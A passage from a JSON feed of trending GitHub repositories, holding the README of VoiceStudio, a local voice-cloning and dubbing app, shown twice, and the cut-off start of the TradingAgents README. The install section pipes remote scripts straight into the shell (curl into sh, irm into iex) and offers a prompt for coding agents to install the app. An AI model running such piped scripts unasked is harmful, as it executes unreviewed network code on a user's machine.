before starting Electron\nbun run dev\n</code></pre> \n <p>See <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/electron/README.md\">Electron setup</a> for prerequisites and backend configuration.</p> \n <p>Use <code>bun run smoke-test</code> to build and launch an isolated packaged Electron app. Add <code>-- --install</code> for the networked managed-runtime installation check.</p> \n</details> \n<blockquote> \n <p><strong>Electron is the only desktop app and web UI.</strong> Version 0.5.3 was the final Tauri release. Existing Tauri users must <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/electron-migration.md\">install Electron separately</a>. The retired Tauri shell and legacy UI entry points have been removed.</p> \n</blockquote> \n<h2>Documentation</h2> \n<table> \n <thead> \n  <tr> \n   <th>Need</th> \n   <th>Start here</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>Setup help</td> \n   <td><a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/install/troubleshooting.md\">Troubleshooting</a> \u00b7 <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/downloading-models.md\">Model downloads</a></td> \n  </tr> \n  <tr> \n   <td>Models &amp; audio quality</td> \n   <td><a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/engines/README.md\">Engine guides</a> \u00b7 <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/engines/whisper-cpp.md\">whisper.cpp ASR</a> \u00b7 <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/benchmarks.md\">Benchmarks</a></td> \n  </tr> \n  <tr> \n   <td>Integrations</td> \n   <td><a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/speech-platform.md\">Local API</a> \u00b7 <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/mcp.md\">MCP</a> \u00b7 <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/examples/README.md\">Examples</a></td> \n  </tr> \n  <tr> \n   <td>Phone apps (preview, run offline)</td> \n   <td><a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/mobile.md\">iOS and Android</a></td> \n  </tr> \n  <tr> \n   <td>Development</td> \n   <td><a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/.github/CONTRIBUTING.md\">Contributing</a> (<a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/.github/CONTRIBUTING.md#contribution-licensing\">CLA signing guidance</a> for your first PR) \u00b7 <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/electron/README.md\">Electron</a> \u00b7 <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/CHANGELOG.md\">Changelog</a></td> \n  </tr> \n </tbody> \n</table> \n<p>Agent skills: <code>npx skills add debpalash/VoiceStudio</code> \u2014 choose <strong>voicestudio</strong> for audio workflows or <strong>voicestudio-maintainer</strong> for repository maintenance.</p> \n<h2>Team</h2> \n<h3>Core team</h3> \n<table> \n <tbody>\n  <tr> \n   <td align=\"center\" width=\"200\"><a href=\"https://github.com/debpalash\"><img alt=\"Palash Debnath\" height=\"80\" src=\"https://github.com/debpalash.png?size=160\" width=\"80\" /></a><br /><b>Palash Debnath</b><br /><sub>Creator and Core Team</sub><br /><sub><a href=\"https://palash.dev\">palash.dev</a> \u00b7 <a href=\"https://github.com/debpalash\">GitHub</a> \u00b7 <a href=\"https://x.com/idebpalash\">X</a></sub></td> \n   <td align=\"center\" width=\"200\"><a href=\"https://github.com/velixio\"><img alt=\"Shimul Debnath\" height=\"80\" src=\"https://github.com/velixio.png?size=160\" width=\"80\" /></a><br /><b>Shimul Debnath</b><br /><sub>Core Team</sub><br /><sub><a href=\"https://shimul.me\">shimul.me</a> \u00b7 <a href=\"https://github.com/velixio\">GitHub</a> \u00b7 <a href=\"https://x.com/shimuldn\">X</a></sub></td> \n  </tr> \n </tbody>\n</table> \n<h3>Contributors</h3> \n<p><a href=\"https://github.com/kevin9327\"><img alt=\"@kevin9327\" height=\"44\" src=\"https://github.com/kevin9327.png?size=96\" title=\"@kevin9327\" width=\"44\" /></a> <a href=\"https://github.com/jaketame\"><img alt=\"@jaketame\" height=\"44\" src=\"https://github.com/jaketame.png?size=96\" title=\"@jaketame\" width=\"44\" /></a> <a href=\"https://github.com/psiberfunk\"><img alt=\"@psiberfunk\" height=\"44\" src=\"https://github.com/psiberfunk.png?size=96\" title=\"@psiberfunk\" width=\"44\" /></a> <a href=\"https://github.com/rudycelekli\"><img alt=\"@rudycelekli\" height=\"44\" src=\"https://github.com/rudycelekli.png?size=96\" title=\"@rudycelekli\" width=\"44\" /></a> <a href=\"https://github.com/paoloantinori\"><img alt=\"@paoloantinori\" height=\"44\" src=\"https://github.com/paoloantinori.png?size=96\" title=\"@paoloantinori\" width=\"44\" /></a> <a href=\"https://github.com/Chang-Jin-Lee\"><img alt=\"@Chang-Jin-Lee\" height=\"44\" src=\"https://github.com/Chang-Jin-Lee.png?size=96\" title=\"@Chang-Jin-Lee\" width=\"44\" /></a> <a href=\"https://github.com/swadhinbiswas\"><img alt=\"@swadhinbiswas\" height=\"44\" src=\"https://github.com/swadhinbiswas.png?size=96\" title=\"@swadhinbiswas\" width=\"44\" /></a> <a href=\"https://github.com/BichengWang\"><img alt=\"@BichengWang\" height=\"44\" src=\"https://github.com/BichengWang.png?size=96\" title=\"@BichengWang\" width=\"44\" /></a> <a href=\"https://github.com/nirmalchatur\"><img alt=\"@nirmalchatur\" height=\"44\" src=\"https://github.com/nirmalchatur.png?size=96\" title=\"@nirmalchatur\" width=\"44\" /></a> <a href=\"https://github.com/Shivendra-Coherent\"><img alt=\"@Shivendra-Coherent\" height=\"44\" src=\"https://github.com/Shivendra-Coherent.png?size=96\" title=\"@Shivendra-Coherent\" width=\"44\" /></a> <a href=\"https://github.com/marreiradigital\"><img alt=\"@marreiradigital\" height=\"44\" src=\"https://github.com/marreiradigital.png?size=96\" title=\"@marreiradigital\" width=\"44\" /></a> <a href=\"https://github.com/nvtoan0201-swe\"><img alt=\"@nvtoan0201-swe\" height=\"44\" src=\"https://github.com/nvtoan0201-swe.png?size=96\" title=\"@nvtoan0201-swe\" width=\"44\" /></a></p> \n<p>Thank you to everyone who has sent code, reports, translations and ideas. <a href=\"https://github.com/debpalash/VoiceStudio/graphs/contributors\">See all contributors</a> \u00b7 <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/.github/CONTRIBUTING.md\">Contribute</a></p> \n<h2>Sponsors</h2> \n<p>Sponsorship funds maintainer time, development tools, release infrastructure and test hardware; it buys recognition, not features.</p> \n<p><a href=\"https://github.com/sponsors/debpalash\">GitHub Sponsors</a> \u00b7 <a href=\"https://ko-fi.com/debpalash\">Ko-fi</a> \u00b7 <a href=\"https://paypal.me/palashCoder\">PayPal</a> \u00b7 <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/SPONSORS.md\">Tiers and recognition</a> \u00b7 <a href=\"https://github.com/debpalash/VoiceStudio/issues/new?template=sponsor.yml\">Ask for recognition</a></p> \n<h2>License &amp; responsible use</h2> \n<p><a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/LICENSE\">AGPL-3.0</a> covers the application, including commercial use under its conditions. Model weights, tokenizers, voices and generated-output conditions are separate; a paid app licence does not grant those rights. Clone voices only with permission. Model Manager now shows versioned model-source notices, evidence links and unresolved review gaps from the <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/licensing/model-inventory.md\">shared inventory</a>. Its optional <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/licensing/model-review-workflow.md\">reviewed-file preview</a> does not enforce ordinary downloads or certify commercial permission. See <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/LICENSE-NOTICE.md\">license details</a>.</p>", "summary": "<p>VoiceStudio is the open-source, fully-local ElevenLabs alternative \u2014 voice cloning, voice design, video dubbing, dictation, transcription & audiobook creation in 646 languages.</p><p><img alt=\"link\" height=\"20\" src=\"https://mshibanami.github.io/GitHubTrendingRSS/assets/icons/link.png\" style=\"margin: 0 8px 0 0; padding: 0; display: inline-block; vertical-align: middle;\" width=\"20\" /><a href=\"https://voicestudio.sh\">https://voicestudio.sh</a></p><hr /><div align=\"center\"> \n <img alt=\"VoiceStudio\" src=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/logo.png\" width=\"88\" /> \n <h1>VoiceStudio</h1> \n <p> <a href=\"https://trendshift.io/repositories/28176?utm_source=repository-badge&amp;utm_medium=badge&amp;utm_campaign=badge-repository-28176\" rel=\"noopener noreferrer\" target=\"_blank\"><img alt=\"VoiceStudio ranking on Trendshift\" height=\"48\" src=\"https://trendshift.io/api/badge/repositories/28176\" width=\"220\" /></a> </p> \n <p><strong>Open-source voice cloning, voice design, video dubbing, dictation, transcription &amp; audiobook creation in 646 languages.</strong></p> \n <p> <a href=\"https://voicestudio.sh/?utm_source=github&amp;utm_medium=readme&amp;utm_campaign=project\">Website</a> \u00b7 <a href=\"https://github.com/debpalash/VoiceStudio/releases/latest\">Download</a> \u00b7 <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/#get-started\">Get started</a> \u00b7 <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/#documentation\">Docs</a> \u00b7 <a href=\"https://discord.gg/bzQavDfVV9\">Discord</a> \u00b7 <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/readme/README_CN.md\">\u7b80\u4f53\u4e2d\u6587</a> \u00b7 <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/readme/README_JA.md\">\u65e5\u672c\u8a9e</a> </p> \n <p> <a href=\"https://github.com/debpalash/VoiceStudio/actions/workflows/ci.yml\"><img alt=\"CI\" src=\"https://img.shields.io/github/actions/workflow/status/debpalash/VoiceStudio/ci.yml?branch=main\" /></a> <a href=\"https://github.com/debpalash/VoiceStudio/releases/latest\"><img alt=\"Latest release\" src=\"https://img.shields.io/github/v/release/debpalash/VoiceStudio\" /></a> <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/LICENSE\"><img alt=\"AGPL-3.0\" src=\"https://img.shields.io/badge/license-AGPL--3.0-blue\" /></a> <a href=\"https://supermetry.com\"><img alt=\"views\" src=\"https://app.supermetry.com/px/zfjiv7psp4ed.svg?c=VoiceStudio&amp;style=stats\" /></a> </p> \n</div> \n<p><img alt=\"A tour of the Electron app: voice cloning, voice design, dubbing, and model management\" src=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/media/electron/voicestudio.gif\" /></p> \n<h2>Your voice. Your workflow.</h2> \n<table> \n <thead> \n  <tr> \n   <th style=\"text-align: left;\">Create</th> \n   <th style=\"text-align: left;\">Produce</th> \n   <th style=\"text-align: left;\">Connect</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td style=\"text-align: left;\">Clone a voice or design your own</td> \n   <td style=\"text-align: left;\">Dub videos with timed speech</td> \n   <td style=\"text-align: left;\">Local API &amp; MCP for agents</td> \n  </tr> \n  <tr> \n   <td style=\"text-align: left;\">Dictate with a floating widget</td> \n   <td style=\"text-align: left;\">Stories, audiobooks &amp; batch jobs</td> \n   <td style=\"text-align: left;\">Reusable recipes &amp; watch folders</td> \n  </tr> \n </tbody> \n</table> \n<p>Start with <strong>VoiceStudio</strong> (default, powered by k2-fsa/OmniVoice), or choose another engine. <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/feature-catalog.md\">Features &amp; engine catalog</a>.</p> \n<p>Local workflows run on your hardware. Remote services are optional; usage analytics requires consent.</p> \n<details> \n <strong>Explore the workspaces</strong> \u00b7 Clone, dub, design &amp; models \n <table> \n  <tbody>\n   <tr> \n    <td><img alt=\"Electron voice cloning workspace with the bundled demo voice\" src=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/media/electron/voice-cloning.png\" width=\"100%\" /></td> \n    <td><img alt=\"Electron video dubbing workspace\" src=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/media/electron/dubbing.png\" width=\"100%\" /></td> \n   </tr> \n   <tr>\n    <td align=\"center\">Voice cloning</td>\n    <td align=\"center\">Video dubbing</td>\n   </tr> \n   <tr> \n    <td><img alt=\"Describe a voice in the Electron voice design workspace\" src=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/media/electron/voice-design.png\" width=\"100%\" /></td> \n    <td><img alt=\"Install and manage local speech models\" src=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/media/electron/models.png\" width=\"100%\" /></td> \n   </tr> \n   <tr>\n    <td align=\"center\">Voice design</td>\n    <td align=\"center\">Local models</td>\n   </tr> \n  </tbody>\n </table> \n <img alt=\"VoiceStudio desktop workspace\" height=\"1950\" src=\"https://github.com/user-attachments/assets/b474497d-a453-49a3-a2dd-f023ec6b7659\" width=\"2628\" /> \n</details> \n<p>OmniVoice GGUF source builds can optionally use Vulkan on Windows and Linux; see the <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/engines/omnivoice-gguf.md#optional-vulkan-acceleration\">native engine guide</a> for build requirements, CPU fallback, and device overrides.</p> \n<h2>Get started</h2> \n<h3>One-command install (macOS / Linux)</h3> \n<pre><code class=\"language-sh\"># Latest Electron release\ncurl -fsSL https://voicestudio.sh/install | sh\n\n# A specific published Electron release (replace X.Y.Z)\ncurl -fsSL https://voicestudio.sh/install | sh -s -- --version X.Y.Z\n\n# Build current main and install the desktop app\ncurl -fsSL https://voicestudio.sh/install | sh -s -- --main\n\n# Uninstall the app, keeping your data\ncurl -fsSL https://voicestudio.sh/install | sh -s -- --uninstall\n</code></pre> \n<p>On Windows, run <code>irm https://voicestudio.sh/install | iex</code> in PowerShell.</p> \n<p>If <code>voicestudio.sh/install</code> is unreachable or returns 404, run the same script straight from the repository, or clone it and run <code>scripts/install.sh</code>:</p> \n<pre><code class=\"language-bash\">curl -fsSL https://raw.githubusercontent.com/debpalash/VoiceStudio/main/scripts/install.sh | sh\n</code></pre> \n<p>Release downloads require curl and a SHA-256 tool. <code>--main</code> requires Git, Node.js 22+, Bun, Rust/Cargo, and platform build tools; see <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/install/script.md\">installer prerequisites and behavior</a>. The installer preserves your settings, projects, and models. Older versions must contain Electron packages; it never falls back to archived Tauri builds.</p> \n<p>Or download from <a href=\"https://github.com/debpalash/VoiceStudio/releases/latest\">Releases</a> (macOS <code>.dmg</code>, Windows <code>.exe</code>, Linux <code>.AppImage</code> or <code>.deb</code>) and follow your platform guide:</p> \n<p><strong><a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/install/macos.md\">macOS</a> \u00b7 <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/install/windows.md\">Windows</a> \u00b7 <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/install/linux.md\">Linux</a> \u00b7 <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/install/docker.md\">Docker</a></strong></p> \n<table> \n <thead> \n  <tr> \n   <th>Hardware</th> \n   <th>Support</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>NVIDIA GPU (Windows / Linux)</td> \n   <td>CUDA acceleration</td> \n  </tr> \n  <tr> \n   <td>AMD Radeon / supported Ryzen AI (Windows)</td> \n   <td>CPU by default; <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/install/windows-rocm.md\">opt-in Windows ROCm setup</a> for AMD's Windows 11 hardware matrix. Setup distinguishes package repair from host failures; install the VC++ runtime manually first. Optional engines have separate limits; Vulkan engines retain their own runtime.</td> \n  </tr> \n  <tr> \n   <td>Apple Silicon</td> \n   <td>Metal (MPS) acceleration</td> \n  </tr> \n  <tr> \n   <td>AMD GPU</td> \n   <td>Opt-in native CosyVoice GGUF can use Vulkan when the community runtime is built with Vulkan; verified on RX 6700 XT (<a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/engines/cosyvoice-gguf.md\">setup</a>)</td> \n  </tr> \n  <tr> \n   <td>No dedicated GPU (Intel/AMD integrated graphics, older PCs)</td> \n   <td>Fully usable on the CPU, slower; setup installs the small CPU build of PyTorch (about 5 GB free disk)</td> \n  </tr> \n  <tr> \n   <td>Windows on ARM (Snapdragon X etc.)</td> \n   <td><strong>Experimental</strong>, validation pending: native ARM64 app, x64 Python backend under emulation, CPU only</td> \n  </tr> \n  <tr> \n   <td>Intel Mac</td> \n   <td>App UI only; connect to a remote backend (<a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/install/macos.md\">why</a>)</td> \n  </tr> \n </tbody> \n</table> \n<p>Open <strong>Voice cloning</strong>, choose a voice or add a clean reference recording, enter your text, and generate. Install the required model when prompted. Hardware needs vary by engine; see <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/performance.md\">performance</a>.</p> \n<h3>Install with prompt</h3> \n<p>Paste into your coding agent (Claude Code, Codex, Cursor, \u2026):</p> \n<pre><code class=\"language-text\">Install the VoiceStudio Electron app on this device and verify it works, following\nhttps://github.com/debpalash/VoiceStudio/blob/main/docs/install/agent.md\n</code></pre> \n<p>The <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/install/agent.md\">agent guide</a> covers hardware detection, reusing existing data, asking before model downloads, and a test generation. Agents that support skills can also run <code>npx skills add debpalash/VoiceStudio</code>.</p> \n<details> \n <strong>Run the Electron preview from source</strong> \n <pre><code class=\"language-bash\">git clone https://github.com/debpalash/VoiceStudio.git\ncd VoiceStudio\nbun install\nbun run setup:api  # prepare Python dependencies before starting Electron\nbun run dev\n</code></pre> \n <p>See <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/electron/README.md\">Electron setup</a> for prerequisites and backend configuration.</p> \n <p>Use <code>bun run smoke-test</code> to build and launch an isolated packaged Electron app. Add <code>-- --install</code> for the networked managed-runtime installation check.</p> \n</details> \n<blockquote> \n <p><strong>Electron is the only desktop app and web UI.</strong> Version 0.5.3 was the final Tauri release. Existing Tauri users must <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/electron-migration.md\">install Electron separately</a>. The retired Tauri shell and legacy UI entry points have been removed.</p> \n</blockquote> \n<h2>Documentation</h2> \n<table> \n <thead> \n  <tr> \n   <th>Need</th> \n   <th>Start here</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>Setup help</td> \n   <td><a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/install/troubleshooting.md\">Troubleshooting</a> \u00b7 <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/downloading-models.md\">Model downloads</a></td> \n  </tr> \n  <tr> \n   <td>Models &amp; audio quality</td> \n   <td><a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/engines/README.md\">Engine guides</a> \u00b7 <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/engines/whisper-cpp.md\">whisper.cpp ASR</a> \u00b7 <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/benchmarks.md\">Benchmarks</a></td> \n  </tr> \n  <tr> \n   <td>Integrations</td> \n   <td><a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/speech-platform.md\">Local API</a> \u00b7 <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/mcp.md\">MCP</a> \u00b7 <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/examples/README.md\">Examples</a></td> \n  </tr> \n  <tr> \n   <td>Phone apps (preview, run offline)</td> \n   <td><a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/mobile.md\">iOS and Android</a></td> \n  </tr> \n  <tr> \n   <td>Development</td> \n   <td><a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/.github/CONTRIBUTING.md\">Contributing</a> (<a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/.github/CONTRIBUTING.md#contribution-licensing\">CLA signing guidance</a> for your first PR) \u00b7 <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/electron/README.md\">Electron</a> \u00b7 <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/CHANGELOG.md\">Changelog</a></td> \n  </tr> \n </tbody> \n</table> \n<p>Agent skills: <code>npx skills add debpalash/VoiceStudio</code> \u2014 choose <strong>voicestudio</strong> for audio workflows or <strong>voicestudio-maintainer</strong> for repository maintenance.</p> \n<h2>Team</h2> \n<h3>Core team</h3> \n<table> \n <tbody>\n  <tr> \n   <td align=\"center\" width=\"200\"><a href=\"https://github.com/debpalash\"><img alt=\"Palash Debnath\" height=\"80\" src=\"https://github.com/debpalash.png?size=160\" width=\"80\" /></a><br /><b>Palash Debnath</b><br /><sub>Creator and Core Team</sub><br /><sub><a href=\"https://palash.dev\">palash.dev</a> \u00b7 <a href=\"https://github.com/debpalash\">GitHub</a> \u00b7 <a href=\"https://x.com/idebpalash\">X</a></sub></td> \n   <td align=\"center\" width=\"200\"><a href=\"https://github.com/velixio\"><img alt=\"Shimul Debnath\" height=\"80\" src=\"https://github.com/velixio.png?size=160\" width=\"80\" /></a><br /><b>Shimul Debnath</b><br /><sub>Core Team</sub><br /><sub><a href=\"https://shimul.me\">shimul.me</a> \u00b7 <a href=\"https://github.com/velixio\">GitHub</a> \u00b7 <a href=\"https://x.com/shimuldn\">X</a></sub></td> \n  </tr> \n </tbody>\n</table> \n<h3>Contributors</h3> \n<p><a href=\"https://github.com/kevin9327\"><img alt=\"@kevin9327\" height=\"44\" src=\"https://github.com/kevin9327.png?size=96\" title=\"@kevin9327\" width=\"44\" /></a> <a href=\"https://github.com/jaketame\"><img alt=\"@jaketame\" height=\"44\" src=\"https://github.com/jaketame.png?size=96\" title=\"@jaketame\" width=\"44\" /></a> <a href=\"https://github.com/psiberfunk\"><img alt=\"@psiberfunk\" height=\"44\" src=\"https://github.com/psiberfunk.png?size=96\" title=\"@psiberfunk\" width=\"44\" /></a> <a href=\"https://github.com/rudycelekli\"><img alt=\"@rudycelekli\" height=\"44\" src=\"https://github.com/rudycelekli.png?size=96\" title=\"@rudycelekli\" width=\"44\" /></a> <a href=\"https://github.com/paoloantinori\"><img alt=\"@paoloantinori\" height=\"44\" src=\"https://github.com/paoloantinori.png?size=96\" title=\"@paoloantinori\" width=\"44\" /></a> <a href=\"https://github.com/Chang-Jin-Lee\"><img alt=\"@Chang-Jin-Lee\" height=\"44\" src=\"https://github.com/Chang-Jin-Lee.png?size=96\" title=\"@Chang-Jin-Lee\" width=\"44\" /></a> <a href=\"https://github.com/swadhinbiswas\"><img alt=\"@swadhinbiswas\" height=\"44\" src=\"https://github.com/swadhinbiswas.png?size=96\" title=\"@swadhinbiswas\" width=\"44\" /></a> <a href=\"https://github.com/BichengWang\"><img alt=\"@BichengWang\" height=\"44\" src=\"https://github.com/BichengWang.png?size=96\" title=\"@BichengWang\" width=\"44\" /></a> <a href=\"https://github.com/nirmalchatur\"><img alt=\"@nirmalchatur\" height=\"44\" src=\"https://github.com/nirmalchatur.png?size=96\" title=\"@nirmalchatur\" width=\"44\" /></a> <a href=\"https://github.com/Shivendra-Coherent\"><img alt=\"@Shivendra-Coherent\" height=\"44\" src=\"https://github.com/Shivendra-Coherent.png?size=96\" title=\"@Shivendra-Coherent\" width=\"44\" /></a> <a href=\"https://github.com/marreiradigital\"><img alt=\"@marreiradigital\" height=\"44\" src=\"https://github.com/marreiradigital.png?size=96\" title=\"@marreiradigital\" width=\"44\" /></a> <a href=\"https://github.com/nvtoan0201-swe\"><img alt=\"@nvtoan0201-swe\" height=\"44\" src=\"https://github.com/nvtoan0201-swe.png?size=96\" title=\"@nvtoan0201-swe\" width=\"44\" /></a></p> \n<p>Thank you to everyone who has sent code, reports, translations and ideas. <a href=\"https://github.com/debpalash/VoiceStudio/graphs/contributors\">See all contributors</a> \u00b7 <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/.github/CONTRIBUTING.md\">Contribute</a></p> \n<h2>Sponsors</h2> \n<p>Sponsorship funds maintainer time, development tools, release infrastructure and test hardware; it buys recognition, not features.</p> \n<p><a href=\"https://github.com/sponsors/debpalash\">GitHub Sponsors</a> \u00b7 <a href=\"https://ko-fi.com/debpalash\">Ko-fi</a> \u00b7 <a href=\"https://paypal.me/palashCoder\">PayPal</a> \u00b7 <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/SPONSORS.md\">Tiers and recognition</a> \u00b7 <a href=\"https://github.com/debpalash/VoiceStudio/issues/new?template=sponsor.yml\">Ask for recognition</a></p> \n<h2>License &amp; responsible use</h2> \n<p><a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/LICENSE\">AGPL-3.0</a> covers the application, including commercial use under its conditions. Model weights, tokenizers, voices and generated-output conditions are separate; a paid app licence does not grant those rights. Clone voices only with permission. Model Manager now shows versioned model-source notices, evidence links and unresolved review gaps from the <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/licensing/model-inventory.md\">shared inventory</a>. Its optional <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/licensing/model-review-workflow.md\">reviewed-file preview</a> does not enforce ordinary downloads or certify commercial permission. See <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/LICENSE-NOTICE.md\">license details</a>.</p>", "image": null, "banner_image": null, "date_published": "2026-10-28T08:46:08Z", "date_modified": "2026-10-28T08:46:08Z", "authors": ["Unknown"], "tags": [], "language": null, "attachments": ["\n                            {\"url\": string, \n                            'mime_type': string, \n                            'title': strinrg,\n                            'size_in_bytes': int,\n                            'duration_in_seconds': int\n                            "]}, {"id": "https://github.com/TauricResearch/TradingAgents", "url": "https://github.com/TauricResearch/TradingAgents", "external_url": null, "title": "TauricResearch/TradingAgents", "content_text": "", "content_html": "<p>TradingAgents: Multi-Agents LLM Financial Trading Framework</p><p><img alt=\"link\" height=\"20\" src=\"https://mshibanami.github.io/GitHubTrendingRSS/assets/icons/link.png\" style=\"margin: 0 8px 0 0; padding: 0; display: inline-block; vertical-align: middle;\" width=\"20\" /><a href=\"https://arxiv.org/pdf/2412.20138\">https://arxiv.org/pdf/2412.20138</a></p><hr /><p align=\"center\"> <img alt=\"Tauric Research\" src=\"https://raw.githubusercontent.com/TauricResearch/TradingAgents/main/tradingagents/assets/tauric-logo.svg?sanitize=true\" width=\"60%\" /> </p> \n<div align=\"center\" style=\"line-height: 1;\"> \n <a href=\"https://arxiv.org/abs/2412.20138\" target=\"_blank\"><img alt=\"arXiv\" src=\"https://img.shields.io/badge/arXiv-2412.20138-B31B1B?logo=arxiv\" /></a> \n <a href=\"https://discord.com/invite/hk9PGKShPK\" target=\"_blank\"><img alt=\"Discord\" src=\"https://img.shields.io/badge/Discord-TradingResearch-7289da?logo=discord&amp;logoColor=white&amp;color=7289da\" /></a> \n <a href=\"https://x.com/TauricResearch\" target=\"_blank\"><img alt=\"X Follow\" src=\"https://img.shields.io/badge/X-TauricResearch-white?logo=x&amp;logoColor=white\" /></a> \n <a href=\"https://github.com/TauricResearch/\" target=\"_blank\"><img alt=\"Community\" src=\"https://img.shields.io/badge/GitHub_Community-TauricResearch-14C290?logo=discourse\" /></a> \n</div> \n<br /> \n<div align=\"center\"> \n <a href=\"https://github.com/TauricResearch\" target=\"_blank\"><img alt=\"TradingAgents #1 Repository of the Day\" height=\"55\" src=\"https://trendshift.io/api/badge/repositories/16192\" width=\"250\" /></a> \n</div> \n<br /> \n<div align=\"center\"> \n <!-- Keep these links. Translations will automatically update with the README. --> \n <a href=\"https://www.readme-i18n.com/TauricResearch/TradingAgents?lang=de\">Deutsch</a> | \n <a href=\"https://www.readme-i18n.com/TauricResearch/TradingAgents?lang=es\">Espa\u00f1ol</a> | \n <a href=\"https://www.readme-i18n.com/TauricResearch/TradingAgents?lang=fr\">fran\u00e7ais</a> | \n <a href=\"https://www.readme-i18n.com/TauricResearch/TradingAgents?lang=ja\">\u65e5\u672c\u8a9e</a> | \n <a href=\"https://www.readme-i18n.com/TauricResearch/TradingAgents?lang=ko\">\ud55c\uad6d\uc5b4</a> | \n <a href=\"https://www.readme-i18n.com/TauricResearch/TradingAgents?lang=pt\">Portugu\u00eas</a> | \n <a href=\"https://www.readme-i18n.com/TauricResearch/TradingAgents?lang=ru\">\u0420\u0443\u0441\u0441\u043a\u0438\u0439</a> | \n <a href=\"https://www.readme-i18n.com/TauricResearch/TradingAgents?lang=zh\">\u4e2d\u6587</a> \n</div> \n<hr /> \n<h1>TradingAgents: Multi-Agents LLM Financial Trading Framework</h1> \n<h2>News</h2> \n<!-- news:start --> \n<ul> \n <li>[2026-10] <strong>TradingAgents v0.7.0</strong> released with runs on your own ChatGPT Plus or Pro plan, backtests scored from the first close after each decision, a note at start-up when a newer release is out, and a wheel attached to each GitHub release.</li> \n <li>[2026-10] <strong>TradingAgents v0.6.0</strong> released with reports saved as one HTML page, a provider per model tier so the managers and analysts can run on different models, past decisions settled for every ticker while the analysts work, and company news read from Yahoo search while Yahoo's news feed is down.</li> \n <li>[2026-09] <strong>TradingAgents v0.5.2</strong> released with parallel analysts for a faster analysis, a CLI that runs without prompts from flags such as <code>--ticker</code> and <code>--date</code>, the run's settings recorded in every report, and backtests that see only data published by each analysis date.</li> \n</ul> \n<p>Full release notes are in <a href=\"https://raw.githubusercontent.com/TauricResearch/TradingAgents/main/CHANGELOG.md\">CHANGELOG.md</a>.</p> \n<details> \n Earlier news \n <ul> \n  <li>[2026-09] <strong>TradingAgents v0.5.1</strong> released with a package layout organised by what each module holds (import paths moved), optional Jev screening of social posts, GPT-6 